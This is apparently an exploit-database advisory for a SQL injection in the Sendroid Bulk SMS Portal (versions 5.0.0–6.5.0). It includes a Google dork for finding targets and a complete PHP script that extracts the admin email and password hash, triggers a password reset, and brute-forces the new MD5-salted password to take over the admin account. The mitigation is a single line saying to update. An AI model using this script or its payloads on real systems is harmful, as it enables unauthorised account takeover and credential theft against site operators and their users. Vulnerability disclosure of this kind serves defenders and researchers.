# Exploit Title: Sendroid - Bulk SMS Portal, Marketing Script( 5.0.0 - 6.5.0 ) - SQL Injection
# Google Dork: "welcome to * SMS portal"
# Date: 22/12/2017
# Exploit Author: Onwuka Gideon <dongiodmed[@]gmail[.]com>
Contact: http://twitter.com/@gideon_onwuka
# Vendor Homepage: http://ynetinteractive.com/
# Software Buy: https://codecanyon.net/item/sendroid-bulk-sms-portal-marketing-2way-messaging-script-with-mobile-app/14657225
# Version: 5.0.0 - 6.5.0
# Tested on: Mac OS
1. Description
The softaware suffers from SQL Injection:
"/API/index.php?action=compose&username=sender&api_key=sdsd&sender"
2. Script (Automatic takeover)
Attached to mail
4. How to run Script
You must have PHP installed on your system to run the script.
- First, copy the code to a file and save(eg: sendroid_exploit.php)
- Open up your command line and CD into the directory where you saved the file.
- Now, type "$ php -f sendroid_exploit.php url=http://localhost/sms"
Note: The URL should be a direct link to where the software is installed.
3. Proof of Concept
Run the script for example:
php -f sendroid_exploit.php url=http://localhost/sms
<?php
/**
* A script to authomatically get admin password
*
* @author: Onwuka Gideon <dongidomed[@]gmail[.]com>
*
*/
parse_str(implode('&', array_slice($argv, 1)), $_GET);
$queries =[
"sql_get_email" => "/*!12345SELECT*/+email+FROM+users+WHERE+username='admin'",
"sql_get_password0" => "/*!12345SELECT*/+SUBSTRING(password,1,32)+FROM+users+WHERE+username='admin'",
"sql_get_password1" => "/*!12345SELECT*/+SUBSTRING(password,33)+FROM+users+WHERE+username='admin'",
];
$payload = "/API/index.php?action=compose&username=asdasd%27)%20OR%20(SELECT%203321%20FROM(SELECT%20COUNT(*),CONCAT+((<query>),FLOOR(RAND(0)*2))x%20FROM%20/*!INFORMATION_SCHEMA*/.PLUGINS%20GROUP%20BY%20x)a)--%20RPjw&api_key=sdsd&sender";
//
checkCommands();
print_r(getEmailAndPassword($_GET['url'], $payload, $queries));
/**
*
* Checks if minimum expected command is issued
*
* @param: $_GET
* @return; Boolean
**/
function checkCommands(){
//url && shell
$url = $_GET['url'] ?? "";
if( $url == "" ) {
"Please enter a target";
help();
exit(1);
}
}
// Print help message
function help(){
echo "Invalid command " . PHP_EOL;
echo "eg php -f sendroid_exploit.php url=https://localhost/sms" . PHP_EOL;
echo "" . PHP_EOL;
}
// ==
// == Reset password and Get the Password hash
// ==
function getEmailAndPassword($url, $payload, $queries){
//>> Fetch admin email
echo "Fetching admin email....:";
$sql_get_email = $url . str_replace("<query>", $queries['sql_get_email'], $payload);
$email = extractValue(makeRequest($sql_get_email));
echo $email . PHP_EOL.PHP_EOL;
//<< EndFetch admin email
//>> Fetch admin old pass
echo "Fetching admin old password...:";
$sql_old_password0 = $url . str_replace("<query>", $queries['sql_get_password0'], $payload);
$sql_old_password1 = $url . str_replace("<query>", $queries['sql_get_password1'], $payload);
$old_password = extractValue(makeRequest($sql_old_password0), 'password') . extractValue(makeRequest($sql_old_password1), 'password');
echo $old_password . PHP_EOL.PHP_EOL;
//<< End Fetch admin old
// Now we have the old password and admin email
// reset password
echo "Resetting password...:";
$forgot_password = $url . "/administrator/index.php?reset&p";
makeRequest($forgot_password, "POST", ["userEmail" => $email]);
echo " Done!" . PHP_EOL.PHP_EOL;
//>> Fetch admin new password
echo "Getting new password...:";
$sql_new_password0 = $url . str_replace("<query>", $queries['sql_get_password0'], $payload);
$sql_new_password1 = $url . str_replace("<query>", $queries['sql_get_password1'], $payload);
$new_password = extractValue(makeRequest($sql_new_password0), 'password') . extractValue(makeRequest($sql_new_password1), 'password');
echo $new_password . PHP_EOL.PHP_EOL;
//<< End Fetch admin new password
//>> Cracking password
echo "Craking password...:";
$password = crackPassword($new_password);
echo $password . PHP_EOL.PHP_EOL;
//<< Cracking password
// return $sql_get_email;
return ["email" => $email, "password" => $password];
}
//
// POST and GET request
// ==
function makeRequest($url, $method = "GET", $parameter = []){
// Get cURL resource
$curl = curl_init();
// Set some options - we are passing in a useragent too here
if( strtolower($method) == "post" ){
curl_setopt_array($curl, [
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_URL => $url,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 0_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',
CURLOPT_POST => 1,
CURLOPT_POSTFIELDS => $parameter
]);
}
else{
curl_setopt_array($curl, [
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_URL => $url,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 0_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'
]);
}
// Send the request & save response to $resp
$resp = curl_exec($curl);
// Close request to clear up some resources
curl_close($curl);
return $resp;
}
// Extract the real value
function extractValue($payload, $what = "email"){
$patterns = []; $patterns[0] = "/ for key 'group_key'/"; $patterns[1] = "/Duplicate entry /"; $patterns[2] = "/\s\s+/"; $patterns[3] = "/'/";
$replacements = []; $replacement[0] = ""; $replacements[1] = ""; $replacements[2] = ""; $replacements[3] = "";
$result = preg_replace($patterns, $replacements, $payload);
return substr($result, 0, -1);
}
function crackPassword($password){
echo " cracking... please wait... ";
$pwsalt = explode( ":",$password );
for ($i=1; $i < 20000000000000 ; $i++) {
if(md5($i . $pwsalt[1]) == $pwsalt[0] ) {
return $i;
}
}
return "Could not crack password";
}
If you successfully run the script, you'll get the admin password. You can login to the admin portal:
localhost/sms/administrator/
4. Solution:
Update to the latest version